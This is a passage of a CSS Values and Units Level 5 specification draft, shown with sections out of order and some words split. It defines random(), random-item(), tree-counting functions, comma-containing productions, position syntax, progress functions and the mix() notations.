m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

